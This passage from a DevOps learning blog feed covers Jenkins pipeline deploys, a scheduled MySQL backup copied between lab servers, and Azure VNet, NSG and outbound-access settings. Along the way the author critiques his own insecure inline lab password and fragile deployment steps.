&lt;h3&gt;
  
  
  Step 1: The agent and a stale instruction
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plugins:  SSH Build Agents, Pipeline
Agent:    App Server 1, label stapp01, remote root /home/sarah/jenkins_agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In every Jenkins task in this batch, I had to install Java 17 on the node, "as Jenkins (or its remoting agent) is compiled for Java 17".&lt;/p&gt;

&lt;p&gt;The shape of that is right, and the version is two baselines stale. Jenkins' Java requirement is a project decision with dates on it, not a property of a Java release. It became 17 at the 2.463 weekly release in June 2024, covering "agent JVMs (i.e., JVMs running &lt;code&gt;remoting.jar&lt;/code&gt;)" explicitly. And it has moved again since: "Beginning with Jenkins 2.555.1, Jenkins requires Java 21 or Java 25 on both the controller JVM and agent JVMs", with the Java 17 images retired.&lt;/p&gt;

&lt;p&gt;So Java 17 is correct for this lab, which runs 2.541.3, the last LTS supporting it. As a general rule, it is already out of date. Match the controller's requirement, and upgrade the controller and agents together.&lt;/p&gt;

&lt;p&gt;Day 75 covered what this prevents, and my notes undersell it by framing it as a compilation detail: "Running a Java 11 agent with a Java 17 controller produces an &lt;code&gt;UnsupportedClassVersionError&lt;/code&gt;." The agent does not start at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The pipeline
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;pipeline&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;agent&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt; &lt;span class="s1"&gt;'stapp01'&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;stages&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Deploy'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'''
                cd /var/www/html
                git pull origin master
                '''&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;agent { label 'stapp01' }&lt;/code&gt; is documented plainly: it will "Execute the Pipeline, or stage, on an agent available in the Jenkins environment with the provided label." Label expressions work too, so &lt;code&gt;'my-label1 &amp;amp;&amp;amp; my-label2'&lt;/code&gt; is valid once more than one agent shares labels.&lt;/p&gt;

&lt;p&gt;The thing worth noticing is that the job names a label, not a machine. That is the payoff from Day 75's agent work: pointing this deployment at a different server is a label change, not a job rewrite.&lt;/p&gt;

&lt;p&gt;And the &lt;code&gt;sh '''...'''&lt;/code&gt; uses triple single quotes. Nothing in this script references a variable, so today it makes no difference whatsoever. Tomorrow it makes a large one.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Two lines of shell, and three assumptions underneath them.&lt;/p&gt;

&lt;p&gt;That &lt;code&gt;/var/www/html&lt;/code&gt; is already a git working copy with an &lt;code&gt;origin&lt;/code&gt; remote. On a fresh server, it is a document root and nothing else, and &lt;code&gt;git pull&lt;/code&gt; there fails with a message about not being a git repository, which reads like a path typo.&lt;/p&gt;

&lt;p&gt;That the agent's user can write to it, this pipeline runs as &lt;code&gt;sarah&lt;/code&gt;, and it works only if &lt;code&gt;sarah&lt;/code&gt; owns the directory or has write access. Worth watching across this batch, because three days answer this one question three different ways: today leaves it implicit, Day 79 checks the ownership explicitly, and Day 80 reaches for &lt;code&gt;sudo&lt;/code&gt; with a password in the build step.&lt;/p&gt;

&lt;p&gt;That a pull is the right operation at all. This is the one I would change. &lt;code&gt;git pull&lt;/code&gt; merges. A local edit in the document root produces a merge instead of a deployment, and a conflict leaves the web root half-merged with conflict markers in the files Apache is serving.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git fetch origin
git reset &lt;span class="nt"&gt;--hard&lt;/span&gt; origin/master
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the deployment-shaped operation, because it makes the working tree match the remote regardless of what was there before. A deployment should not care about local state. A pull does, by design.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: A VM reachable only from inside
&lt;/h2&gt;

&lt;p&gt;The task: Day 26 inverted. Same resource shapes, opposite reachability, with SSH permitted only from the VNet's own CIDR block.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: One flag decides the whole task
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--nsg-rule&lt;/span&gt; NONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--nsg-rule&lt;/code&gt; accepts &lt;code&gt;{NONE, RDP, SSH}&lt;/code&gt;, and for a Linux VM it defaults to &lt;code&gt;SSH&lt;/code&gt;, which creates &lt;code&gt;default-allow-ssh&lt;/code&gt; with source &lt;code&gt;*&lt;/code&gt;. That permits SSH from anywhere on the internet, which is the direct opposite of what this task asks for.&lt;/p&gt;

&lt;p&gt;Day 26 left the default in place and was right to. Same command, opposite requirement, one flag, and it is easy not to think about precisely because it is the default.&lt;/p&gt;

&lt;p&gt;So the verification has to list everything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name            Pri   Dir      Access  Proto  Src          Dst          Port
Allow-SSH-VNet  100   Inbound  Allow   Tcp    10.0.0.0/16  10.0.0.0/16  22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One row. A &lt;code&gt;default-allow-ssh&lt;/code&gt; row sitting next to it would mean the VM was internet-reachable while every other check still looked fine, and the NSG would read as "scoped to the VNet" at a glance.&lt;/p&gt;

&lt;p&gt;When the requirement is about what is not permitted, confirming the rule you added proves nothing. You have to enumerate what exists.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Two layers, and only one of them is about inbound
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"PubIP"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;"PrivIP"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"10.0.1.4"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--public-ip-address ""&lt;/code&gt; means no internet-routable address, so there is no inbound path. The NSG then restricts source even inside the VNet. Either alone would do it; both together survive a single mistake, because adding a public IP later would not open SSH and loosening the NSG would not either.&lt;/p&gt;

&lt;p&gt;That much I had. What I had missed is that the absence of a public IP is also the condition that a platform change is now acting on, and it affects what this VM can do rather than what can reach it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: This is the VM that loses its way out
&lt;/h3&gt;

&lt;p&gt;How does a VM with no public IP reach the package mirrors at all? Microsoft: "when you deploy a virtual machine (VM) in a virtual network without an explicitly defined outbound connectivity method, Azure automatically assigns it an outbound public IP address."&lt;/p&gt;

&lt;p&gt;That address is not yours. "This IP, known as the default outbound access IP, is owned by Microsoft and can change without notice", and "default outbound connectivity relies on an implicit platform behaviour and may be affected by platform-level changes."&lt;/p&gt;

&lt;p&gt;And it is going away for new subnets. "Creating a subnet to be Private prevents any virtual machines on the subnet from utilising default outbound access to connect to public endpoints." Day 76 recorded the date, which has passed: subnets in new virtual networks now default to &lt;code&gt;defaultOutboundAccess&lt;/code&gt; set to false.&lt;/p&gt;

&lt;p&gt;So a VM built to exactly this specification, in a new virtual network today, has no inbound path and no outbound path.&lt;/p&gt;

&lt;p&gt;The four explicit outbound methods are a NAT gateway on the subnet, an outbound-rule load balancer, a Standard public IP on the NIC, and a firewall or appliance behind a user-defined route. Day 26's VM had the third one by accident: the public IP that made it reachable also made its egress explicit. This VM has none of them, and a NAT gateway is the documented recommendation for most scenarios.&lt;/p&gt;

&lt;p&gt;Two exceptions stop a private VM from being completely cut off, and they are worth knowing in opposite directions. "Virtual machines are still able to access Azure Storage accounts in the same region in a private subnet without an explicit method of outbound." But "Certain services don't function on a virtual machine in a private subnet without an explicit method of egress (examples are Windows Activation and Windows Updates)."&lt;/p&gt;

&lt;p&gt;Microsoft's stated reasons read as an argument rather than a deprecation notice: "Security: Default internet access contradicts Zero Trust principles. Clarity: Explicit connectivity is preferred over implicit access. Stability: The default outbound IP isn't customer-owned and can change."&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;The enforcement here is entirely outside the VM, and it is worth being precise about that, because "SSH accessible from within the VNet only" sounds like host configuration and is not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LISTEN 0 128 0.0.0.0:22  users:(("sshd",pid=861,fd=3))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sshd is bound to &lt;code&gt;0.0.0.0&lt;/code&gt;, accepting from any address. Nothing in the guest narrows it. Which means an NSG change takes effect immediately with no reboot, and also that an NSG mistake has no backstop: there is no firewall rule or &lt;code&gt;ListenAddress&lt;/code&gt; on the host to catch it.&lt;/p&gt;

&lt;p&gt;One more thing I did not do, and would rather say than imply. The task says SSH should work from inside the VNet, and I never tested that, because there is no second VM in the VNet to connect from. What I established is that sshd is listening, the NSG permits 22 from &lt;code&gt;10.0.0.0/16&lt;/code&gt;, no other inbound rule exists, and there is no public IP. That makes the conclusion sound, and it is an inference.&lt;/p&gt;

&lt;p&gt;The documented way to actually test it is Azure Bastion, which deploys into an &lt;code&gt;AzureBastionSubnet&lt;/code&gt; and brokers SSH without putting a public IP on the target. Given Day 38 failed precisely by treating configuration as proof of behaviour, the distinction is worth keeping visible.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Both halves were about a path that works until something stops holding it up.&lt;/p&gt;

&lt;p&gt;The pipeline deploys correctly, right now, on a server where someone previously made &lt;code&gt;/var/www/html&lt;/code&gt; a git working copy and gave &lt;code&gt;sarah&lt;/code&gt; write access to it. None of that is in the pipeline. The job is two lines, and the configuration it depends on is somewhere else entirely, undocumented, and discovered only when it is missing.&lt;/p&gt;

&lt;p&gt;The Azure VM reaches the internet, right now, through an address Microsoft owns and assigned implicitly because the VM had no other way out. That is being retired, with a date that has already passed for new networks, and Microsoft's own first reason is that implicit internet access contradicts Zero Trust. The VM is not misconfigured. The thing it was resting on is being removed.&lt;/p&gt;

&lt;p&gt;So here is the Day 77 question. What does your deployment job assume about the server it deploys to that the job itself does not say?&lt;/p&gt;

&lt;p&gt;Day 77 down. Twenty-three to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Day 76: A Backup of Nothing and a Retiring Default</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Sun, 01 Nov 2026 09:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-76-a-backup-of-nothing-and-a-retiring-default-e1h</link>
      <guid>https://dev.to/ndcodes/day-76-a-backup-of-nothing-and-a-retiring-default-e1h</guid>
      <description>&lt;p&gt;Day 76 of DevOps, Day 26 of Azure. Both tasks today went green, and both were quietly resting on something that will not hold.&lt;/p&gt;

&lt;p&gt;A database backup job ran on schedule, produced a file, copied it across two machines, and backed up no tables at all. And an Azure network behaviour I had written in my notes as how Azure works turned out to be a platform default that Microsoft is in the middle of retiring.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Schedule a database backup across three servers, then put a VM in a purpose-built virtual network. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: A database backup on a ten-minute schedule
&lt;/h2&gt;

&lt;p&gt;The task: a job named &lt;code&gt;database-backup&lt;/code&gt; that dumps a database on &lt;code&gt;stapp01&lt;/code&gt; every ten minutes and copies the dump to the storage server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Two hops, two keys
&lt;/h3&gt;

&lt;p&gt;Three machines are involved, and the Jenkins controller never touches the storage server directly. So each hop needs its own key, belonging to the account that opens it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jenkins@jenkins:~&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; rsa &lt;span class="nt"&gt;-b&lt;/span&gt; 4096
Created directory &lt;span class="s1"&gt;'/var/lib/jenkins/.ssh'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
jenkins@jenkins:~&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-copy-id tony@stapp01

jenkins@jenkins:~&lt;span class="nv"&gt;$ &lt;/span&gt;ssh tony@stapp01
&lt;span class="o"&gt;[&lt;/span&gt;tony@stapp01 ~]&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; rsa &lt;span class="nt"&gt;-b&lt;/span&gt; 4096
&lt;span class="o"&gt;[&lt;/span&gt;tony@stapp01 ~]&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-copy-id natasha@ststor01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second key had to be generated as &lt;code&gt;tony&lt;/code&gt;, because &lt;code&gt;tony@stapp01&lt;/code&gt; is where the first hop lands and therefore the account that makes the second call. One key cannot do both hops.&lt;/p&gt;

&lt;p&gt;This is the chain Day 74 could not account for: there, the transcript showed the second hop keyed and never showed the first, and the build still went green. Here both are on the record.&lt;/p&gt;

&lt;p&gt;One detail on the second hop worth noticing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The authenticity of host 'ststor01 (10.244.240.154)' can't be established.
ED25519 key fingerprint is SHA256:yEyN8qvzhNxfcKVE+H05zwQPmQMKCXj4JyGWuOP1HIg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That prompt is exactly what Day 75's agents switched off with their non-verifying host key strategy. Answered once interactively, recorded, done.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The build step, and one thing it gets right
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh tony@stapp01 &lt;span class="s2"&gt;"
  mysqldump -u kodekloud_roy -pasdfgdsd kodekloud_db01 &amp;gt; /tmp/db_&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;(date +%F).sql &amp;amp;&amp;amp;
  scp /tmp/db_&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;(date +%F).sql natasha@ststor01:/home/natasha/db_backups/
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; is inside the quotes, which is Day 71's bug written correctly. There, &lt;code&gt;ssh host cmd1 &amp;amp;&amp;amp; cmd2&lt;/code&gt; split in the local shell and only the first half ever reached the remote machine. Here the whole conditional is one argument to ssh, so the &lt;code&gt;scp&lt;/code&gt; runs on &lt;code&gt;stapp01&lt;/code&gt; and only if the dump succeeded.&lt;/p&gt;

&lt;p&gt;The escaping is right too, and for a reason my notes got slightly wrong. I had written that the backslash makes the filename come out in the right format. What it actually does is choose whose clock names the file: &lt;code&gt;\$&lt;/code&gt; stops the local shell expanding the substitution, so the literal text is sent and &lt;code&gt;date&lt;/code&gt; runs on &lt;code&gt;stapp01&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Which is the exact inverse of Day 71, where &lt;code&gt;"$PACKAGE"&lt;/code&gt; had to expand locally because the Jenkins parameter only exists on the Jenkins side. Same mechanism, opposite intent. Escape it to evaluate remotely, leave it bare to evaluate locally, and know which one you mean.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The job works. The backup does not.
&lt;/h3&gt;

&lt;p&gt;The file arrived on both machines and the build went green. Then I read it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- MariaDB dump 10.19  Distrib 10.5.29-MariaDB, for Linux (x86_64)&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- Host: localhost    Database: kodekloud_db01&lt;/span&gt;
&lt;span class="c1"&gt;-- ------------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;-- Server version       10.5.29-MariaDB&lt;/span&gt;

&lt;span class="cm"&gt;/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="cm"&gt;/*!40101 SET SQL_MODE=@OLD_SQL_MODE */&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="c1"&gt;-- Dump completed on 2026-04-14  7:02:52&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A header, session settings, the restore of those session settings, and a completion line. No &lt;code&gt;CREATE TABLE&lt;/code&gt;. No &lt;code&gt;INSERT&lt;/code&gt;. Nothing whatsoever between the opening &lt;code&gt;SET&lt;/code&gt; block and the closing one.&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;kodekloud_db01&lt;/code&gt; either has no tables, or &lt;code&gt;kodekloud_roy&lt;/code&gt; cannot see the ones it has. Either way this job backs up zero rows, successfully, every ten minutes, and produces a plausible-looking file while doing it.&lt;/p&gt;

&lt;p&gt;The task is satisfied. It asked for a backup job and there is one. The backup is worthless, and nothing anywhere in the pipeline says so: valid SQL, reasonable size, green build, file present at the destination.&lt;/p&gt;

&lt;p&gt;This is Day 74's lesson with the stakes raised. There, a scheduled job copying no logs succeeds on time forever, and the fix was to confirm the source files existed first. Here the equivalent check is one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql &lt;span class="nt"&gt;-u&lt;/span&gt; kodekloud_roy &lt;span class="nt"&gt;-p&lt;/span&gt;... &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"SHOW TABLES IN kodekloud_db01"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the verification that belongs in the job itself asserts on content rather than exit status:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-qi&lt;/span&gt; &lt;span class="s1"&gt;'CREATE TABLE'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DUMP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"dump has no tables"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An empty lab database and a privilege problem look identical from outside, and &lt;code&gt;mysqldump&lt;/code&gt; exits zero for both. Only the content tells you which you have.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Three things, and the first is the one that would matter in a real environment.&lt;/p&gt;

&lt;p&gt;The password is in the job. MySQL does not hedge: "Specifying a password on the command line should be considered insecure. To avoid giving the password on the command line, use an option file." The documentation also explains the odd-looking flag, since "there must be no space between &lt;code&gt;--password=&lt;/code&gt; or &lt;code&gt;-p&lt;/code&gt; and the password following it."&lt;/p&gt;

&lt;p&gt;In a Jenkins job this is worse than at a terminal, because the command is stored rather than typed. The build step lives in the job's &lt;code&gt;config.xml&lt;/code&gt;, and anyone with Job/Configure on the job can read it in a browser.&lt;/p&gt;

&lt;p&gt;Day 73 granted Job/Configure on a job to two people. The same grant here hands over a database credential, and nothing in the permission grid hints at it. The column says Configure. What it conveys is the contents of every build step.&lt;/p&gt;

&lt;p&gt;Jenkins points at the fix. Credentials have their own permission group, with Credentials/View and Credentials/Update kept separate from job permissions, which is Jenkins separating credential access from job access on purpose. And its Pipeline documentation gives the pattern directly: never interpolate a secret into the command text, send a literal command string, and let "the shell read secrets from its environment", which the credentials binding has already populated. Two things improve at once, because the value leaves &lt;code&gt;config.xml&lt;/code&gt; and Jenkins masks it in the console output.&lt;/p&gt;

&lt;p&gt;Second, there is a latent bug in the date. &lt;code&gt;date&lt;/code&gt; is called twice, and the two substitutions are evaluated at different moments. If midnight falls between the dump finishing and the &lt;code&gt;scp&lt;/code&gt; starting, &lt;code&gt;mysqldump&lt;/code&gt; writes one filename and &lt;code&gt;scp&lt;/code&gt; looks for another and fails. On a ten-minute schedule that is one build a day exposed to it, presenting as an occasional failure with no obvious cause.&lt;/p&gt;

&lt;p&gt;Computing it once removes the whole class of problem, and lets the quoting get simpler because nothing needs to expand locally any more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh tony@stapp01 &lt;span class="s1"&gt;'
  D=$(date +%F)
  mysqldump --defaults-file=~/.my.cnf kodekloud_db01 &amp;gt; "/tmp/db_$D.sql" &amp;amp;&amp;amp;
  scp "/tmp/db_$D.sql" natasha@ststor01:/home/natasha/db_backups/
'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Third, the schedule. &lt;code&gt;H/10 * * * *&lt;/code&gt; rather than &lt;code&gt;*/10 * * * *&lt;/code&gt;, for Day 74's reasons: &lt;code&gt;H&lt;/code&gt; "should be used wherever possible" and is "a hash of the job name, not a random function". With a log-copy job already on a six-minute cycle, round intervals guarantee the two collide eventually, and &lt;code&gt;H&lt;/code&gt; separates them without anyone coordinating. And &lt;code&gt;mysqldump&lt;/code&gt; without &lt;code&gt;--single-transaction&lt;/code&gt; locks tables while it reads, which costs nothing on an empty database and blocks writes every ten minutes on a real one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: A VM in a purpose-built network
&lt;/h2&gt;

&lt;p&gt;The task: a VNet, a subnet, and a VM inside it with a public IP and SSH reachable from the internet.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Name things rather than letting the VM name them
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--vnet-name&lt;/span&gt; devops-pub-vnet &lt;span class="nt"&gt;--subnet&lt;/span&gt; devops-pub-subnet
&lt;span class="nt"&gt;--public-ip-address&lt;/span&gt; devops-pub-vm-pip &lt;span class="nt"&gt;--public-ip-sku&lt;/span&gt; Standard
&lt;span class="nt"&gt;--nsg&lt;/span&gt; devops-pub-vm-nsg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every earlier VM in this track let &lt;code&gt;az vm create&lt;/code&gt; build its own network, which produces names derived from the VM, like &lt;code&gt;&amp;lt;vm&amp;gt;VNET&lt;/code&gt; and &lt;code&gt;&amp;lt;vm&amp;gt;VMNic&lt;/code&gt;. Here the network came first and the VM was told where to go, so the names come from the design. That starts mattering the moment a second VM shares the network.&lt;/p&gt;

&lt;p&gt;Naming the public IP also carries the Day 21 benefit: it survives the VM being deleted and recreated, so the address stays put.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: What makes the network public, and why my answer has expired
&lt;/h3&gt;

&lt;p&gt;My notes said a VNet has no public or private attribute, and that reachability comes entirely from a public IP on the NIC plus an NSG rule. The first half still holds. The second is now incomplete, and what has changed is outbound rather than inbound.&lt;/p&gt;

&lt;p&gt;Subnets do now carry a relevant property, and Microsoft's own word for the result is private: "Azure is changing the default subnet configuration for new virtual networks to require explicit outbound connectivity." With a date attached that has already passed: "For the API version released after March 31, 2026, subnets in new virtual networks have &lt;code&gt;defaultOutboundAccess&lt;/code&gt; set to &lt;code&gt;false&lt;/code&gt; by default."&lt;/p&gt;

&lt;p&gt;So a VNet created today with a current API version gets subnets whose VMs "can't rely on default outbound access". My note's claim that Azure handles the routing and the NSG is the only gate describes a platform behaviour being retired, not a property of Azure networking.&lt;/p&gt;

&lt;p&gt;Three things keep that from affecting this task, and the second is the interesting one.&lt;/p&gt;

&lt;p&gt;Existing networks are untouched: "Existing virtual networks aren't changed", and deployments on earlier API versions "retain the earlier default behavior", which the lab's CLI may well have done.&lt;/p&gt;

&lt;p&gt;And this VM already has an explicit outbound method, without my having chosen one for that purpose. Microsoft lists "Associate a Standard public IP to any of the virtual machine's network interfaces" among the four explicit methods, and &lt;code&gt;--public-ip-sku Standard&lt;/code&gt; provided exactly that. A VM built to be reachable from the internet happens to have the thing that also makes its egress explicit.&lt;/p&gt;

&lt;p&gt;Of those four methods, Microsoft marks one as preferred: "Associate a NAT gateway to the subnet of your virtual machine. Note this is the recommended method for most scenarios."&lt;/p&gt;

&lt;p&gt;Which means the AWS comparison in my notes needs qualifying rather than deleting. Azure still has no internet gateway or route table to configure for basic reachability, which is why Day 40 and Day 45 have no counterpart on this track. What it no longer has is outbound connectivity you can assume. A private subnet needs a NAT gateway, and that is the closest Azure analogue to the work Day 45 did on AWS.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Two smaller things, both about not doing the same work twice.&lt;/p&gt;

&lt;p&gt;The port 22 rule was created twice. &lt;code&gt;--nsg-rule&lt;/code&gt; was not passed to &lt;code&gt;az vm create&lt;/code&gt;, and its accepted values are &lt;code&gt;{NONE, RDP, SSH}&lt;/code&gt; with Linux defaulting to &lt;code&gt;SSH&lt;/code&gt;, which creates a &lt;code&gt;default-allow-ssh&lt;/code&gt; rule at priority 1000. The explicit &lt;code&gt;az vm open-port --port 22 --priority 1001&lt;/code&gt; then added a second rule for the same port. Harmless, because both are Allow and the one at 1000 matches first, and still redundant configuration in two places. Either &lt;code&gt;--nsg-rule NONE&lt;/code&gt; plus the explicit call, or &lt;code&gt;--nsg-rule SSH&lt;/code&gt; and no call, leaves one rule and one place to change it.&lt;/p&gt;

&lt;p&gt;And the disk flags, which I have now carried forward three times and explained wrongly twice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--storage-sku&lt;/span&gt; Standard_LRS &lt;span class="nt"&gt;--os-disk-size-gb&lt;/span&gt; 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Day 21 failed on this, and Days 22, 23 and 26 all pass the flags without being asked to. My explanation, that &lt;code&gt;az vm create&lt;/code&gt; defaults the OS disk to Premium on premium-capable sizes, is wrong, as Day 72 covered: &lt;code&gt;--storage-sku&lt;/code&gt; has no documented default at all, and the managed-disk path sends no storage account type whatsoever. Something below the CLI chooses, and the rule is not published. The flag is still mandatory in this subscription.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Both halves of today were green and both were built on something that does not hold up.&lt;/p&gt;

&lt;p&gt;The backup job is the one I would want to find before someone needed it. Every signal said it worked: exit zero, file created, file copied, file identical on both machines, build green, schedule firing. The only thing that said otherwise was reading the file, and what it said was that the job had been faithfully backing up nothing. No monitoring built on exit codes would ever have caught it, because nothing failed.&lt;/p&gt;

&lt;p&gt;The Azure half is the same error made against documentation rather than against a file. I wrote "Azure handles the routing" in my notes as a fact about the platform. It was a default, and Microsoft had already announced its retirement with a date that has since passed. The VM survives on a technicality that happens to be sound: the Standard public IP that makes it reachable is also, separately, one of the four documented ways to make its egress explicit.&lt;/p&gt;

